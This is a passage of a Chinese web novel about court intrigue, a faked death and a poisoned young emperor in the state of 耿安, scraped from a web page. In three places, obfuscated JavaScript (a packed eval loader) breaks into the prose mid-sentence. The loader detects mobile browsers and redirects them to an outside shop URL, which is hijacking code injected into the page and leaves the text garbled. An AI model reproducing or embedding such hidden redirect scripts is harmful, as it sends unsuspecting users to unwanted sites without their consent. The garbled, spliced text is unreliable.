霜满天战力爆表,当年就把炎灸打得心服口服,直退二十里地,但是这么多年过去了,除了炎灸,如今还有别的国家蠢蠢欲动…… 现而今霜白两家目无他芈家,一言不合就对他的人下狠手,芈桑影为此恨得牙痒痒,心念这梁子算是越结越大,总有一天,他会一五一十地悉数把他们两家欠他的讨要回来。 芈桑影唯恐天下不乱,大不了,让当年长渝之战的场景再现一遍就是了。 白无垢和霜满天骑马走在入宫的路上,身后跟了一长队排列整齐的人马。 白无垢想着花伶的事,心事重重,他这一去,也许要很久,他虽然把话放在那里了,但是也不知道会不会出什么变故。师姐等得太久,到时候会不会爱上别人,不要他了? 见白无垢满脸愁容,霜满天调侃他:“以后,是该叫你无垢,还是满地呢?” “当然是无垢啊!”白无垢几乎是不假思索道。 “满地”这个名字多难听,哪有“满天”来得有诗意。月落乌啼霜满天,要是换成“月落乌啼霜满地”,一下子就变了意境,满天繁星,满天流萤,这要是换成满地,他只能想到满地狼藉? 爹和娘到底是偏心,给哥哥起了个那么好听的名字,结果他作为弟弟,名字就如此草率,一个“天”对“地”就完事。 看着白无垢愤懑不平的小眼神,霜满天把他的头摸成鸡窝,笑得爽朗:“好啦好啦,别纠结啦,无垢就无垢。” 白无垢打掉他的手,嘟着嘴巴,埋怨地看了他一眼,都是二十几岁的大孩子啦,霜满天还动不动摸他的头,把他当做小孩子哄着。 见白无垢这般模样,霜满天又是宠溺一笑,二人这么玩闹,不一会儿就到了耿安国皇宫。 芈氏有映雪殿,白氏有寅凡殿,霜氏有泰和殿。到了白无垢这里,霜满天指着眼前的寅凡殿和泰和殿道:“二选一,你看你喜欢哪里?” 寅凡殿,寅为天干地支第三支,第一届耿安国君白羽凡为三人中最小的那个。以位次命名,是为了警醒自己,自己尚且年轻,于其他两位国君阅历资质方面都有不足,要多多向他们学习。 泰和殿取意国泰安康、政通人和,这是每个执政者所应拥有的最简单朴素的愿望。国家安定祥和,百姓安居乐业,才能子孙延绵,千秋万代。 霜满天一边给白无垢解释着殿名的含义,一边感叹,多好的寓意啊,可惜到了他们这届,三家良好的局势完全变了味。 白无垢嫌泰和殿远,懒得走那两脚路,根本不计较名字,也谈不上喜欢不喜欢,就选了寅凡殿。 继位大典也就是混个脸熟,像白无垢这种不记事就离开宫中的皇子,需要经过专门的培训才能正式继位。况且,期间芈桑影还未退位,两家要等春日才正式更替。 这期间,白无垢在宫中学习各种繁文缛节和法律条令,霜满天也不敢松懈,每天都在无垢身边督促着。反正书,霜满天是看不进的……但人嘛,他还是看得住的。 好在经过柳源戏班这几月的学习,白无垢多少还是有些长进的,至少能看得完那些饶舌晦涩的书卷,也不会再看着看着就睡着了。偶尔,他还拉着霜满天讲解一二,听得霜满天点头如撞钟,差点没直接磕到桌子上去。 此外,还有宫中的老嬷嬷专门教他坐姿站姿甚至是吃饭的各种姿势,白无垢有时候一个动作一练就是几百遍,嗷嗷叫苦,便向一旁的霜满天投去感到不可思议的小表情,一个看起来简单无比的小细节,居然让人如此费心。 霜满天摊手,无奈地应他。 皇帝哪有那么好当!就像他带兵打战,哪有那么容易?各种因素错综复杂,各种利益纠葛不清,可饶是再难,他一介粗人还不是成功了嘛,所以霜满天相信,无垢也一定能坚持下来。 偶尔白无垢练得累了,便从寅凡殿走出去透透气,有时会看到不远处映雪殿前的芈桑影投来阴恻恻的目光,那眼神像盯着自己的猎物,一副胜券在握的表情,有些吓人。白无垢尽量避免跟他目光交汇,倒是霜满天,每次用一种直勾勾的眼神看回去,那意思似是警告。 有他在无垢身边,芈桑影休想动无垢一根汗毛!他们要是实在过于针对无垢,大不了他就举兵,把芈氏灭了,让他们彻底断了所有的念想,再也不能打无垢的任何主意。 再说花伶,自从收到白无垢的心意后,开心得要飞上天了。整个人像一只欢快的云雀,每天在戏班里蹿进蹿出,就连唱段,也尽选的是些欢快的曲子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598181|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不少师兄见花伶有着如此高的兴致,都忍不住好奇问她:“师弟,什么事情这么开心?” 花伶也不遮着掩着,如实相告道:“嗯~无垢说他要娶我。” 都是些朝夕相处的人儿,没有必要遮掩隐瞒,有什么好事当然也不用藏着掖着,只管和大家一起分享就好啦。 那些人听了难免替她开心:“哟,他是国君,你到时候怕不是皇后了?那敢情好。” 耿安国实行一夫一妻制,要是他们俩成亲,花伶当皇后真的是板上钉钉的事。 当然他们中也有人调侃花伶:“他当了国君,以后去到外面的天地,会遇见更惊艳的女子,怕不是只会守着你一个人了。万一无垢同其他的女子在一起,你怕不怕?” 花伶也不是没想过这种可能,但也不怕,巴掌大的脸蛋一仰:“哼,他要是敢骗我,我就把他的玉摔个稀巴烂,让他当不了国君。” 众人捧腹,只当是玩笑话,他们巴不得花伶能走出去,那样以后柳源戏班也能算得上是“皇亲国戚”,戏路广开,能多接些活,赚得盆满钵满。 只是,白无垢要怎么跟天下人说,他爱的人是一个不入流的身份低微的戏子?众人还是搓手手蛮期待的。 这天,花伶嘴馋,出门买了些吃食,正欲回去。 钟情负责物资采购诸多后,沈佳期也不用出门买东西了,花伶也没了蹭吃蹭喝的机会,想吃什么不得不自己出去买。 走到离戏班不远处,却见许柔竺,立在戏班门外,一副犹豫不绝的模样,还时不时朝里张望着,身后跟着一个手里捧着锦盒的小厮。 吓得花伶赶紧躲远,妈呀,什么风把这个小姑奶奶吹来了,来者不善,善者不来啊。 花伶还记得她在桥上把自己推下去的那一瞬,干脆又决绝,丝毫不拖泥带水,打心底里是对这种狠人有些畏惧的。 班内人告诉许柔竺花伶不在。许柔竺也不恼,就直接进去院子里面等。 花伶见门口没了影,本来以为她走了,刚打算回戏班。谁知道刚一进门,却正见着许柔竺在班内坐着喝茶! “花二爷,上次家里临时有事,回去得早,没有来得及跟你正式地道歉。上次您落水,是柔竺的不对,还请您大人有大量,不要跟我一般计较。” 看着许柔竺颇为诚恳的表情,花伶纳闷,稀奇,这什么情况,太阳从西边出来了? 此外,许柔竺还特地给她带过来一件定做的戏服和一顶头面。那戏服是用蚕丝织就的,质地相当轻薄,穿起来极为舒适;在日辄国,以银饰为尊,故而那顶头面是纯银的,上面以薄银打底,覆了一层又一层图样,坠以颗粒大小不均的银珠,做工极其精巧,怕是花了大价钱。 这头面要是戴出去唱戏,无疑是把银子顶在头上走啊,当真是浮夸,花伶心想。 这才几天,心性转变得如此之快,花伶颇为吃惊,这个刁蛮的异国公主,怎么来向她献殷勤,她这……这是怎么了? 40. 戏子入画满临初21 以前她觉得戏子不入流,许柔竺真正对花伶改观,是那天在戏台下,看花伶和公冶垚的一出戏——花伶扮作倩女,虽然戏里是一个饱受压迫且万般凄楚的女子,但经她的演绎,硬生生把公冶垚扮的王文举风头压了过去。 当时许夜祈亦在一旁看着,只见他薄唇轻抿,虽不言语,但他眼神中的赞许彻底出卖了他! 五哥向来严格谨慎,看人看物标准都极高,既然是他认可的东西,哪有不好的道理?况且,台上人千娇百媚,好似真的女鬼,飘飘然而来,连许柔竺一介女子,看了都心动。 日辄不必像耿安那样,因四面受敌而草木皆兵,相反,日辄国内群峦叠嶂、碧峰青葱,让他们有着得天独厚的天险优势,易守难攻。国家太平,日辄便颇为乐意向周边国家交流取经,国内文才武略发展得都不错。 但因山中原始且稀奇古怪的物件甚多,带了些异族风情,旁国人颇为不解,以为尽是些粗鄙不入流的东西,便带了有色的眼睛来看待这个国度——日辄国舞文弄墨在别国人看来倒有些附庸风雅。 许柔竺也稍懂些曲艺,那时她便明白了,原来“花二爷”的名声真不是白叫的,若说耿安国内,花伶自认梨园中第二,怕是没人敢认第一的吧。 上次因为许柔竺的大哥,日辄国的太子许未缪,突然身染重病,父亲许颢厦紧急召她和五哥二人回宫,原本计划为期一月的耿安国之行匆匆结束。许柔竺当时还颇为遗憾,没能在耿安好好玩一番,自然也是来不急郑重地跟花伶道个歉,但她是真的把这件事记在心上了,期待她和花伶能早日重逢,只是没想到这一天来得这么快。 回去之后,许夜祈又跟许柔竺三令五申,不要过于咄咄逼人,尤其是不在自己国中,许柔竺也听进去了。这次在听说父皇有来耿安的计划后,就死缠烂打要一起来,还特地给花伶带来赔偿礼。 “那个,你就收下吧,特地请的顶好的工匠打的,你可不要推脱,毕竟我留着也没用,嘻嘻。”许柔竺一副纯良无辜的表情,哪有半点之前飞扬跋扈刁蛮大小姐的影子。 自古良鞍配宝马,宝刀配英雄,许柔竺想着,这两样东西送给花二爷,他定能物尽其用的吧。 “那,你以后听戏的钱,我都请了!”花伶也懒得跟她磨叽,毫不客气地收下礼物,要是忤逆这个大小姐,也不知道会是什么后果。 拿人手短,吃人嘴软,花伶想着,许家当然不缺钱,可花伶也没有什么别的东西能给她,请她听戏,既是投人所好,听闻日辄国向来喜欢这类东西,也是给自己捧个人场。 之前所有的不欢仿佛一下子就消散,花伶首先打开话匣子:“唉?你前段时间不是才来的吗?怎么又来了?” 出口花伶就意识到了语气的不对,要搁寻常人身上,还以为是逐客令呢,许柔竺却巧笑嫣然,将事情始末一一道来。 原来,许柔竺偷听到自家父亲和军中大臣的谈话,说是要秘密拜访耿安国,也不知道有什么大事。但她玩性重,就央求着老爹带自己一起来。 随后,两人你一言我一语,聊两国风貌,人文特产,也谈自己对戏中人物的看法,相谈甚欢,花伶也不计较之前的过往,权当两人是不打不相识。 许柔竺看着花伶,觉得有些好看,白净的面皮,明眸皓齿,眉眼温婉含情,真的是个翩翩公子,顿时心生欢喜,要不,把花伶拐回日辄国给她当驸马吧! 霜满天这边,有探子来报,说是日辄国的国君许颢厦,还有公主许柔竺,一同来了耿安,二人只带了极少数的护卫,行动极为隐秘。虽说许柔竺公主去了柳源戏班,但许颢厦去的是芈桑影的映雪殿。 霜满天和芈桑影的日常就是,你派人监视着我,我派人监视着你,我们俩谁都不动,有着一种很微妙的平衡,如今日辄国许颢厦亲自来了,是要有所行动了? 霜满天一向都烦日辄国,用他的话来说,全国都是毒,进去了都不知道是怎么死的。 日辄国皇宫里有一堆的术士,个个都是使毒的好手,听说,十有六七的毒他们自己都没研究出解药,霜满天心想,自己都没整明白你鼓捣这玩意干啥,这不是纯害人吗? 更重要的是,霜满天怀疑白无垢身上所中之毒,跟日辄国有关。这种毒很精妙,他寻遍名医仅才研制出解药,完全不能根除,能把毒炼到这种水平的,普天之下,也只有一个日辄国了。 霜满天转念一想,莫非,十年前长渝之战的主导者,就是这两货?这两人乌合,肯定没什么好事,指不定又像是离了水的王八,咬着白无垢不放,如此,他和无垢可得当心了。 果不其然,映雪殿中,许颢厦板凳还没坐热,就见芈桑影屏退了所有下人,秘密商量着什么。 “怎的?你不信我?许老哥,咱们俩这么多年的合作关系了,再说,这霜满天要是知道多年前是你日辄动的霜满地,他会放过你?”芈桑影一副胜券在握的模样,劝道。 许颢厦蹙眉,依霜满天这暴脾气,要是知道了真相,怕是会把他大卸八块的吧? “依我看呐,不如我们两家联手,咔~”芈桑影比了个抹脖子的手势,继而补充道:“这一来是永绝后患,二来这以后也免不了你好处嘛。” 芈桑影极力怂恿他,只要耿安和日辄合伙除去霜满天兄弟二人,就允诺许颢厦,耿安国矿山里的那些金银宝贝,分他半数。 看似吃亏的买卖,其实芈桑影赚大发了。他不傻,灭了霜满天,耿安国战力削减,可不得找个靠山嘛。眼下,除了和日辄国强强联手,谁还更适合这恩惠。这耿安是他的,什么三家之国,早该亡了,一山不容二虎,更何况是这么多人,争着一个皇位呢。 二人洽谈了几日,这天一从映雪殿出去,许颢厦就去给许柔竺做思想工作。 “柔竺,既然你这么喜欢耿安,你就呆在这里玩一段时间好不好?”许颢厦语气里百般讨好,他怕许柔竺不答应。听说柔竺近来跟柳源戏班里的花伶走得很近,实在不行,许颢厦再把这位花公子搬出来。 不过是十几岁的小丫头,哪里听得出这句话的弦外之音,想着能日日呆在花伶身边,离拐他回家当驸马的计划又近了一步,自然是满心欢喜:“好。” 许柔竺哪里会知道,说是留在耿安国,实际上是许颢厦主动提出,把许柔竺留在耿安做人质,以彰显二国合作的诚意。但芈桑影说,只要她留在耿安国内就好,不必限制她的自由,免得引起旁人怀疑,许颢厦应允了。 芈桑影还不得加紧派人盯着柳源戏班,这里有两个人,一个是白无垢在意的人,一个是日辄国的人质,何其重要,一个都不能跑掉。 春来,白无垢终于登基,霜满天立在群臣之中,大有一种“自家的崽儿终于出息了”的欣慰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598182|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是白无垢,一袭明晃晃的龙袍里三层外三层裹得难受,缀满旒珠的皇冕压得他头疼。 “吾皇万岁万万岁。”群臣肃立,整齐划一的参拜声回荡在寅凡殿内。 “众爱卿平身。”白无垢面上淡定,内心早就被头上的珠串压得炸毛,要不是之前的礼仪官百般嘱咐他,他才淡定不起来。 他想看霜满天,结果视线被珠子挡了个遍,想着不正视前方倒显得不端庄了,只能看着面前不知姓甚名谁的一个老臣。 之前礼部特地给诸臣绘了画像给他送去,以图个眼熟,看着台下人没几人熟识,白无垢内心是崩溃的,尼玛,这画像上的,跟真人差别也太大了吧。 再说,白无垢倒没有因为大家都对他俯首称臣的优渥而有多开心,这些黑压压的人,让他感受到沉甸甸的责任。 耿安国说大不大,说小不小,几十万人口,管理起来,也不是容易的。 朝殿上议的都是些正事,什么这里的水患,那里的蝗灾,哪里开采的矿井塌了…… 终于下了朝,也没人拉着他学这学那,白无垢解放后的第一件事,便是去柳源戏班看花伶。 “师姐,宫里的嬷嬷一直不让我出宫,我可想你了。”白无垢瘪着嘴,似个受气的小媳妇,跟她吐槽道。 “都当皇上的人了,白无垢你能不能稳重点。”花伶正拿着黛子描着眉,笑吟吟道。 白无垢给花伶的承诺再美好,她依旧是柳源戏班的顶梁柱,隔三差五还是要登台唱戏的,毕竟戏班里还有一屋子老小要吃饭,可不能让他们饿肚子。 “我很稳重的啊,不信你看。”白无垢在她跟前,转了个圈,衣摆飞扬。 花伶心中感慨,真的是一夜之间长大了。眼前这个眉目俊朗的少年,哪里还有半点过去披头散发一件亵衣两把长凳一躺就是半天的邋遢人模样。 白无垢心想,是很稳且很重,自从进了宫,顿顿都是山珍海味,可不得吃胖嘛。 花伶接着画眼描眉,涂脂抹粉,白无垢在一旁端详着,忍不住啧啧叹道:师姐真的是越来越好看了。 没事做的日子里,白无垢都会去看花伶唱戏。 一时间,国内上上下下风靡了一股唱戏听戏的风潮。 戏子不再是一个身份低微的代名词,甚至有人扒出来白无垢在柳源戏班的历史,原来这耿安国主也曾是柳源戏班的一员啊。 国主虽然年纪尚小,但他平易近人啊,深入百姓之中体验生活,懂得寻常人的水深火热,真的是不简单呐。 柳源戏班的大家伙儿心里跟打着灯笼似的,明着呢,白无垢会常来,不过是因为一个花伶罢了。 也有迂腐不化的老臣,任由外面锣鼓喧天,也是哼唧一句:“戏子误国。” 多数人还是欣喜的,以往耿安国在旁国眼里,粗鄙又野蛮,动辄打打杀杀不成体统,崇文之风盛行倒也是极好的。 柳源戏班自然而然也更加有名了,毕竟国主都看好的戏班,能差到哪里去。 时长有别国的大臣君王来临初看戏,想看看这传言是实是虚。 结果一看,嗐,还真的名不虚传,尤其是那花二爷,演什么像什么,跟那戏中人活了似的。 于是一传十,十传百,柳源戏班就变成了神一般的存在,自然是客源广进,叶童舟一个春天都打坏了好几副算盘。 41. 戏子入画满临初22 许颢厦刚走没两天,芈桑影便按耐不住,开始收拾兵马,捡了些精兵良将操练。 嘴上大义凛然说的是卫国,但霜满天一看这阵势,料到他们随时可能会有所行动,打起了十二分精神提防。 耿安国军权也是一分为三的,一份在镇国大将军霜满天手中,一份在朝令大将军仲元卓手中,还有一份在芈家家主芈桑影手中。 白霜两家联姻后,将其中一份军权交给了第三方仲家,避免三家之中霜白两家势力过大而芈家处于边缘地位被排挤,用以制衡两方势力。 日子看似平淡如水,白无垢每天上朝下朝,芈桑影依旧日日练兵,霜满天也不放松,更加刻苦地练兵了。 实则霜满天和芈桑影私下里不知道较了多少回劲—— 两人的坐撵在城门口相向而遇,双方皆是剑拔弩张,谁也不让谁,芈桑影不以为然:“自古君臣有别,我芈氏乃三家之姓,贵为一时君王,尔等为臣,理应避让。” 霜满天却冷眼看着他,那眼神看得芈桑影心里发毛:“要说这三家之姓,我霜家也占其中,我凭什么要让着你呀?” 芈桑影最后还是让了霜满天,心想着,秋后的蚂蚱,让他再蹦跶两天吧,过段时间就蹦不起来了。 霜满天甚至拉着自己带的士兵们亲自去找芈桑影“切磋”一番,振振有词道:“听闻芈王爷素来用兵有道,霜某不才,自诩在用兵打仗上稍有研究,不知王爷可否赏脸,让你我手下人友好较量一番?” 说是“友好较量”,那意图再明显不过了,你打不过我,收敛点,别对白无垢和耿安国动什么歪心思,也别太嚣张。 当然,芈桑影也不认怂,只当是霜满天有心来找茬,还真派了几个有模有样的士兵和霜满天手下对峙,真真是输得极惨,罢了还颇为捧场说道:“素闻镇国大将军带兵有方,在战场上那是一个雄风飒爽,如今看来当真是名不虚传呀,在下佩服!” 两人嘴上客套归客套,实际该怎么样还是怎么样,手底下那些小把戏一点都没停。 尽管两人斗得是不亦乐乎,不过这些,白无垢都不知情,一个耿安国就够他忙活的了,再加一个花伶,那更是忙上加忙,霜满天根本没告诉他。 芈桑影虽然处处认怂,但他不怕霜满天,他手下的士兵虽说武力值差人一等,但是他们有日辄国的秘药加持,拉锯了这么久,就是为了找准机会,好一击毙命,不给霜满天留任何挣扎的余地。 芈桑影已经想好了,到时候就把霜满天骗到几国边界,派人进行毒杀,理由嘛,就说大将军在外出的路上遇到了伏击,到时候,卖不卖国,残不残害手足的都跟他没有关系。 日辄国虽然私底下分了一杯羹,但他们当然不会傻到去背这个锅——又不是在我们国内,凭什么说毒是我们放的? 霜满天精得跟个狐狸似的,怎么把他骗出去是个问题,倒是霜满天对白无垢的在意远远超出了芈桑影的预料,芈桑影一拍大腿,不如就从这里开始下手吧! 正是五月,草长莺飞的季节,白无垢南下巡江去了。 霜满天却意外地收到了白无垢的手书,说是长渝近来匪贼流窜,希望他去平定叛乱。 盖了玺印,也是白无垢的笔迹,霜满天收信后,带了一队人手马不停蹄地赶往长渝。 长渝在耿安国最北边,与花迟、日辄两国接壤,因为辖属比较乱,十几年前的几方人马又做了乔装打扮,且都为死士,所以当年的长渝之战根本不知道是谁打谁,整一场混战。如果没有当事者出来承认,根本不知道是什么个情况,这也是霜满天这么多年未调查清楚长渝之战真相的根本原因。 近来匪贼流窜,难道还是十几年前的那帮子人?莫不是狗改不了吃屎的本性,又想重蹈覆辙? 霜满天有些迫不及待,或许可以找到十几年前的线索?想到这,便带着一队精锐士兵快马加鞭地赶去长渝。 可长渝一切安好,到了一看,根本没出任何乱子,莫说匪贼,长得像个匪贼的人都没见到。 回程路上,霜满天念着,莫非有诈,是芈氏开始行动了吗?白无垢还在巡江,过两天才会回来,又有仲元卓护驾,倒是性命无虞。不如,就来个瓮中捉鳖,灭了这伙人? 果不其然,路边的草丛中,弓箭手已经拉满了弦,等霜满天一行人经过时,只听得箭羽声“嗖嗖嗖”,没几下就把一队人射成了刺猬,还没来得及看清是哪些人出的手,埋伏在草丛里的人都已经撤离了。 箭上都被淬了剧毒,霜满天等人既然已经中箭,就是必死无疑。因此,下手的人也没前去查看,避免霜满天还有人手在后,双方遇见落人口实。 确定对方人走远后,霜满天才吩咐下属们都爬起来。既然是做戏,那可不得认真些,于是在前一天花重金买了几十副金丝软甲,还好派上了用场。 趁夜赶回临初后,霜满天就吩咐未同行的士兵们:“传下去,霜满天在长渝深中埋伏,暴毙。” 假传圣旨,毒害霜满地,埋伏霜满天,芈家多罪合一。长渝,这一场闹剧,始于此,也该终于此。 很快,消息就在坊间散播开来,仲元卓亲自前去白无垢面前请示:“皇上,将军一行人在长渝中了埋伏,无一幸免,可否让属下前去代为收尸?也好让将军魂归故里。” 白无垢听闻这个消息,只觉晴天霹雳,差点没一个趔趄倒在地上,随即也不听仲元卓劝阻,顾自上马去长渝寻霜满天了。 “哥——”那天的雨很缠绵,山谷的回音把白无垢的呼唤拉得老长。 白无垢不甘心,霜满天遂了愿,让他当了君王,怎么可以这么随随便便就死了。 白无垢还记得那时,霜满天在他耳畔轻轻的一句“我会护你周全”,什么周全,自己的安全都保护不好,骗子,霜满天你个骗子! “报告将军,探子来报,皇上他从南边直奔长渝,寻你去了……”霜满天近几日都未出宫,一来是为了把戏做足,二来也是为了白无垢回来能给他个惊喜。 “无垢……无垢……”闻言,霜满天失神喃喃道,又把玩着手边的几个小瓷瓶。瓶里装的是老孙头刚送过来的解药,还来不及给无垢,一想到无垢再次发病约莫是十天后,霜满天再也坐不住了。 “赵亮,你来布局。”霜满天交代了一句,就带着人和解药直冲长渝去了。 芈氏恶贼不除,这国家一天便不会安定下来,可惜,他不能坐镇到最后,看到他们的结局了。 这出以假乱真的戏,霜满天自以为缜密,可千算万算,算掉了白无垢这一环。 令他万万没想到的是,白无垢竟然那么在意他。 在回风寨,霜满天总是想方设法为难无垢,让他难堪;他不想约束自己,将白无垢赶上了王位,他以为无垢会恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598183|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,可是无垢没有。 霜满天本以为,瞒着无垢,这可以让这出假死的戏更加逼真,可他终究是低估了自己在白无垢心中的地位。 想到这里,霜满天扬手就给了自己一巴掌。 临初距离长渝的路途很远,霜满天骑着马驰骋,风灌得他的眼睛疼,有些不明的液体淌落。 是泪吗? 下属们是在一个灌木丛里找到白无垢的,找到的时候还尚有一口气,只是毒蔓延得很深,全身乌紫,哆嗦得厉害。 霜满天难过得说不出话来,将几瓶解药都给他灌了下去,却不见好转。 一个时辰后,白无垢身体彻底凉透。 - “二爷二爷,皇上薨了。” 花伶本在台上练着一曲《桃花扇》,听闻台下人来报,手中的香君折扇“啪”地掉在地上。 新君白无垢上任不过三个月死了,为其披麻吊唁的,除了霜白两家人,还有柳源戏班的花二爷。 众人都以为,是这柳源戏班一步登天,名满列国,得了这白帝不少恩惠。 只有柳源戏班知道,这个消息伴随着一个伤心人——花二爷。花伶心中那个笑着说等她长大,娶她的男孩,再也不会回来了。 “无垢……无垢……”白无垢走后,花伶终日以泪洗面,时不时会絮叨这个名字。 许柔竺在一旁劝她,心里百思不得其解,这白无垢哪里有这么好,值得花二爷如此牵肠挂肚,便劝她:“花花,人死不能复生,节哀。” 不安慰还好,一安慰花伶更是想起来这些伤心事,哭得更厉害了,“哇啊啊啊……” 那模样,像极了十几年前那个跟白无垢打架被欺负得嚎啕大哭的小孩,只是那时候,白无垢看她哭,还会在旁边哄着,现在,谁来哄她? 沈佳期看花伶状态不佳,也不忍心再让她唱戏了,着了玲珑水袖,亲自上台。 沈佳期是彻底老了,再也没了十几年前的风华模样,演起旦角来,再没了以前的灵动自然。 台下看客唏嘘,花二爷不在,这柳源戏班都少了很多的看头,要怪啊,就只能怪天意捉弄人,好生生的让二爷失了白无垢这么个挚友。 花伶未穿戏服,在台下冷冷地看着。 戏里那点点的离人泪,都在她心中化成了血。 她的无垢,再也不会回来了。 再也不会追着喊她师姐,一副俏皮又欠揍的模样。 不会在朝堂上坐得一本正经,跟她吐槽当皇上有多么多么不容易。 不会跟她说宫中礼仪繁琐,完全没有回风寨摸鱼捉虾来得痛快。 那块定情玉佩还在,依旧散发着如往日般莹润的光泽,依旧是价值连城,只是它的主人,彻底地长别于人世间。 想到白无垢把玉佩交与她时信誓旦旦的模样,花伶怒地一扬手。 叮,螭龙玉佩四分五裂。 “师弟你好好的拿这玉佩出气做甚,指不定人家霜白两家还需要它呢?”旁边有人见了,问她。 花伶眼底浸满了薄凉:“眼不见,心不烦。” 什么霜白两家,于她而言有何干系?要是没有他们,白无垢还是这戏班里的一个无奈泼皮,又怎会丧命? 却不曾想,如果没有霜白两家,花伶十几年前,根本不会在铁岭山上,遇见回风寨里那个自称“悍匪”的少年。 42. 双生3 自从花雕身旁有赵泽毅后,慕卿开始隔三差五地外出,有时是小半天才回来,有时是好几天。花雕不懂他在干嘛,每每好奇地问,慕卿也只是用“近来闲得无事,出去玩玩”为理由搪塞过去。 其实是为花雕成亲筹措银两变卖资产,不告诉她,也只是为了到时候能给她一个惊喜。全县周边的地儿,来回需要半天路程,稍远点儿的,耗时便长了。遇见花雕以前,慕卿在耿安居无定所,四处都有房屋,用于存酒,有花雕后,二人常去的地方也就那么些儿,其余的都荒置了。 慕卿以全县赵泽毅家为中心,将附近的房产存酒都清理了个遍,常回赵府看看,是因为怕花雕找不到他,又胡思乱想。 花雕已经开始瞎想了,眼看着慕卿把她丢给赵泽毅,大有一种“事了拂衣去”的潇洒,每天骑着马这里跑那里跑,他究竟想干嘛? 有问题得马上问他!慕卿根本不是个玩心重的人,他越是搪塞,花雕越觉得不对劲,开始步步紧跟。 眼见着慕卿又骑着追风离去,花雕默默地爬上了她的小毛驴,跟上慕卿的步伐。 这么多年过去,她还是不敢单独骑马,每次都是和慕卿共乘一骑或坐马车。 察觉到了后面有小尾巴,慕卿放慢脚步,等着她追过来——他不能再像以往一样把花雕捞到他的马上,她是快要有家室的人,他得避嫌。 虽然是彻彻底底的女装,但骨子里还是个爷们。 “师父,我的小毛驴跟追风相比差多了。”花雕追赶上慕卿,是在一个山脚下的茶馆,慕卿的目的地。 生平第一次,有人将驴子同骏马相提而论,慕卿闻言,嘴角勾勒起微微的弧度。 看着追风正在吃草,花雕把小毛驴系在旁边,自己则背手跟在慕卿身后。 茶馆老板八字撇胡子,见慕卿来了,欢喜地将他迎进去,这可是财神爷啊! 前些日子慕卿和他商量了出卖自己在附近的宅子和宅子里的酒等诸多事宜,老板说他需要些时间考虑,今天慕卿是来取钱的。 “二百两!一口价,不能再多了!”茶馆老板眼冒精光,一手算盘拨弄得咔哒响,看眼前这位急着做成买卖的样子,他以低价收购,转手高价卖掉,可能挣不少一笔呢! “好。”慕卿倒是无所谓,反正弃置也可惜了,不如交由有用的人手上,随即收取银票,带着花雕打道回府。 “师父你卖了啥?好值钱的样子呢。”花雕骑着她的小毛驴,和慕卿并排走着,有些好奇地问道。 “宅子,跟一宅子酒。”慕卿刻意拉着缰绳,让追风尽量放慢脚步。 “师父我记得你上次有一坛子酒卖了二两呢!”花雕忆及上次同他一起卖酒的经历,看来师父这次卖了近百坛酒呢,感慨道,不愧是职业酿酒大户,到哪里都有藏酒。 酒是陈年好,窖藏越久,越能体现它的价值。 慕卿冷哼,可不是嘛,这次不止是宅子里的两百多坛酒,光宅子都能卖个一百两呢。 “师父,你最近都在卖酒吗?”花雕又想起来近日他接连“失踪”的日常。 “嗯。”慕卿面不改色心不跳地答道,心想不过是两百两,花雕见着了又如何,他给花雕的嫁妆里会缺那两百两吗? 终于,处理好最后这个宅子,慕卿只剩一件事要做,那就是去临初找花雕的姐姐。 上次他们去临初,慕卿听见了周围人议论柳源戏班,本想着一探究竟,却被百香翎的事绊住脚步,如今得了闲,可不得再去看看。 听说慕卿要离开很久,花雕更有跟着他一起去的兴致了,慕卿也不好扫她的兴,看她又准备去拉小毛驴,向她建议道:“坐马车吧。” 这小破毛驴还不得走到猴年马月去! 正是七月初,温度已经彻底升上来,花雕依旧是很多年前那副乖巧的模样,尽管车厢里闷热得让人喘不过气来,她却不吵也不闹。 临初变化之快,让慕卿大吃一惊——上次来临初不过是五月中旬,走后才几天临初就开始变了样。 那之后耿安国国都临初发生了一起和平的政变。 五月底,新帝白无垢惨遭芈氏毒害,命丧长渝。赵亮联合仲家军,收回芈氏军权。 六月初,镇国大将军霜满天手刃芈氏,同为三姓之一的他在另两家离世后直接继位。 虽然下毒是很久之前的事,霜满天起初还不确定是不是芈氏所为。但这次的事件以后,霜满天直接提刀去了映雪殿,芈桑影本以为霜满天已死,可以高枕无忧,可看到他全须全尾地来到自己面前,就知道算盘彻底打错了,将所作所为如实招来,荼毒无垢,用日辄毒药,各种罪责得以坐实。 芈桑影还算仗义,从头到尾,也没把日辄国招出来。 霜满天算是明白了,芈桑影和他拉锯了这么多天不动手,就是为了先杀自己,后假手朝政,架空白无垢,堂而皇之地取代无垢。可惜,霜满天察觉到芈桑影的技俩,上演了出金蝉脱壳。 